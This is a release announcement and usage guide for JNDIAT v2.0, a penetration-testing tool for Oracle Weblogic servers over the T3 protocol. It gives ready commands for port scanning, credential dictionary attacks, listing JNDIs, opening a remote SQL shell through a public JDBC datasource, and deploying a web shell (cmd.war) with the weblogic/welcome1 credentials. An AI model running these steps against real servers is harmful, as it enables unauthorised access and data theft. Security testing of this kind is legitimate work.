JNDIAT v2.0 releases: tests the security of Weblogic servers through T3 protocol
JNDIAT – JNDI Attacking Tool
JNDIAT (JNDI Attacking Tool) is an open source penetration testing tool that tests the security of Weblogic servers through the T3 protocol.
Usage examples of JNDIAT:
- You want to search if there are Weblogic ports which are accessible through T3 protocol;
- You want to search valid accounts remotely in order to have a privileged connection;
- You want to list JNDIs (Java Naming and Directory Interface) which are accessible to know what you can do on the remote Weblogic server (without or with a Weblogic account);
- You want to use an unprotected (i.e. ‘public’) JDBC datasource in order to get a remote interactive SQL shell;
- You want to deploy an application (e.g. War) on the Weblogic server in order to have a Web shell (account required).
Tested on Oracle Weblogic 11.
Features
- Supports T3 and T3s (T3 over SSL) connections. JNDIAT creates a local temporary Java KeyStore to validate the Weblogic server’s certificate;
- Supports authentication with empty credentials ie login=” and password=”. Public JDBC datasources can be used with an empty account by default in Weblogic (tested on version11);
- Supports targets if the weblogic is in a domain;
- Detects ports accessible through T3 protocol;
- Finds valid credentials through dictionary attacks;
- Gets JNDIs list accessible with a specific account (or without account);
- Gets a remote sql shell via a JDBC datasource;
- With a privileged account, you can deploy an application on the weblogic server in order to have a Web shell for example.
Changelog v2.0
- JNDIAT 2.0 with a SSL/TLS bug fix for newer Weblogic versions.
Download
Use
java -jar Jndiat.jar -h
Scan ports
This module should be used for scanning ports accessible through T3 (or T3s) protocol in order to get JNDIs.
To know if you can use the port 7001 to establish a T3 connection:
java -jar Jndiat.jar scan -s 192.168.56.101 --ports 7001
To scan ports 7001 and 7002:
java -jar Jndiat.jar scan -s 192.168.56.101 --ports '7001,7002'
To scan ports from 7001 to 7010:
java -jar Jndiat.jar scan -s 192.168.56.101 --ports '7001-7010'
List of JNDIs
This module should be used to get the list of JNDIs accessible trough the T3 protocol. This module is useful in order to know if some JNDI are accessible without authentication (ex: a ‘public’ JDBC datasource).
To get JNDIs accessible on port 7001 of the server 192.168.56.101:
java -jar Jndiat.jar list -s 192.168.56.101 -p 7001
If you not specify credentials in the command line, the tool will returns JNDIs accessible without authentication. If you know valid credentials, you can use it to get more JNDIs:
java -jar Jndiat.jar list -s 192.168.56.101 -p 7001 -U username -P password
JDBC DataSource
This module allows you to get a remote SQL shell via a JDBC datasource.
To get an interactive SQL shell from a JNDI datasource:
java -jar Jndiat.jar datasource -s 192.168.56.101 -p 7001 --sql-shell
The tool will ask you the JDBC datasource to use. If you know the datasource name, you can specify it:
java -jar Jndiat.jar datasource -s 192.168.56.101 -p 7001 --sql-shell --datasource='jdbc/myDataSource'
Deploy an application
Thanks to this module, you can deploy an application (e.g. .war, .ear) in the remote Weblogic server through the T3 protocol. To use this module, you may have high privileges (and an account of course).
The following command deploys the application ‘cmd.war’ on the remote weblogic server.
java -jar Jndiat.jar deployer -s 192.168.56.101 -p 7002 -U weblogic -P welcome1 –deploy –appl-file cmd.war
To undeploy the previous war (‘cmd.war’) from the remote weblogic server:
java -jar Jndiat.jar deployer -s 192.168.56.101 -p 7002 -U weblogic -P welcome1 –undeploy
To change the application name deployed on the weblogic server, the –display-name option must be used:
java -jar Jndiat.jar deployer -s 192.168.56.101 -p 7002 -U weblogic -P welcome1 –deploy –appl-file ‘cmd.war’ –display-name ‘appli-name-displayed’
To undeploy a specific application named appli-name-displayed:
java -jar Jndiat.jar deployer -s 192.168.56.101 -p 7002 -U weblogic -P welcome1 –undeploy –display-name ‘appli-name-displayed’
